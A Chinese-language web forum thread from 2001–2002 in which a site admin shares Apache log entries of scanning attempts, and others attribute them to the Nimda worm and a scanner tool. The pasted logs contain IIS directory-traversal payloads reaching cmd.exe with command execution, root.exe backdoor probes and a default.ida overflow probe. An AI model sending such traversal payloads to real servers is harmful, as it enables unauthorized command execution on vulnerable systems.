滿多白爛喜歡亂掃主機

可列印頁面

2001-12-06, 08:01 AM
阿土

滿多白爛喜歡亂掃主機

無聊看了一下 Apache log 檔 , 有美國/大陸那邊有無聊人士來亂掃主機

既然要 Hack 主機 , 也要先瞭解對方主機的 OS , 我用 unix 的 OS , 他們卻都用 NT 的方式想要駭進來.....

有用 NT 的人就看一下下面的目錄裡是否有這幾個 exe 檔 , 若有的話 , 請注意吧.

[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/root.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/MSADC/root.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/c/winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/d/winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/..%5c../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/..Á../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/..À‾../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/..Áœ../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/..%5c../winnt/system32/cmd.exe
[client 202.104.128.164] File does not exist: /usr/local/apache/htdocs/scripts/..%2f../winnt/system32/cmd.exe
2001-12-06, 08:27 AM
christin

Re: 滿多白爛喜歡亂掃主機

errrrr
跟主題沒關...只是覺得那個妹妹好cute唷..
土大的女兒ㄇ..:p
2001-12-06, 01:28 PM
Ares

阿土兄,可能是有中nimda的電腦在掃internet上的PC.恐怕連他的主人都不知道吧 ^^!
2001-12-06, 01:37 PM
kanako0605

Re: 滿多白爛喜歡亂掃主機

[QUOTE][i]最初由阿土發表[/i]
[B]無聊看了一下 Apache log 檔 , 有美國/大陸那邊有無聊人士來亂掃主機
既然要 Hack 主機 , 也要先瞭解對方主機的 OS , 我用 unix 的 OS , 他們卻都用 NT 的方式想要駭進來.....
[/B][/QUOTE]

ㄏㄏ.....如果是真的話....那還真無聊且......ㄅㄣˋ!
2001-12-07, 02:02 AM
噩夢

他們大陸有出一個掃主機的軟體,叫做流光,他會自動幫你掃出你的電腦有哪些漏洞,流光這
套軟體本身有限制他們大陸國內的ip好像不能掃,他的說明檔是說國內IP保留(指大陸),但是
可以掃台灣這邊的IP,我也用過這套軟體來掃自己的主機,他會把你的telnet,pop3,sendmail
ftp及其他你開放的port相關資訊給找出來,並且會用類似密碼檔的方式來暴力破一些用白痴
密碼的帳號,基本上他程式內定對方的主機是Un*X/Win兩種主機都掃,所以才會在你的Apache
Log黨內留下/script/xxxx等等的log...
在此勸告用IIS當web server的網管者,多多注意微軟方面的漏洞更新吧,目前有很多漏洞都
針對IIS而來,請自求多福..不然改天被hack了都不知道...
2001-12-07, 08:54 AM
Ares

但是阿土兄所留的log,很明顯是中nimda的PC來攻擊所留下的,我想不會是別的入侵程式.
2001-12-07, 11:20 AM
oldtu

沒錯
阿土站長所提供的log檔是nimda探路的訊息
可以彙整後向電信警察申報
2002-01-06, 12:28 AM
魔神

危機四伏，我還是持功力高些再架站好了。
2002-01-23, 10:40 PM
Jacky7

這是我租的國外host網站報告, 真看不懂他們再掃啥??:D

File not find Report

/scripts/..%255c../winnt/system32/cmd.exe
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/scripts/root.exe
/scripts/root.exe?/c+dir
/scripts/..%5c../winnt/system32/cmd.exe
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
/MSADC/root.exe
/MSADC/root.exe?/c+dir
/c/winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%...
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%...
/scripts/..%c1%1c../winnt/system32/cmd.exe
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/winnt/system32/cmd.exe
/scripts/winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9c../winnt/system32/cmd.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%252f../winnt/system32/cmd.exe
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/default.ida
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN...
/robots.txt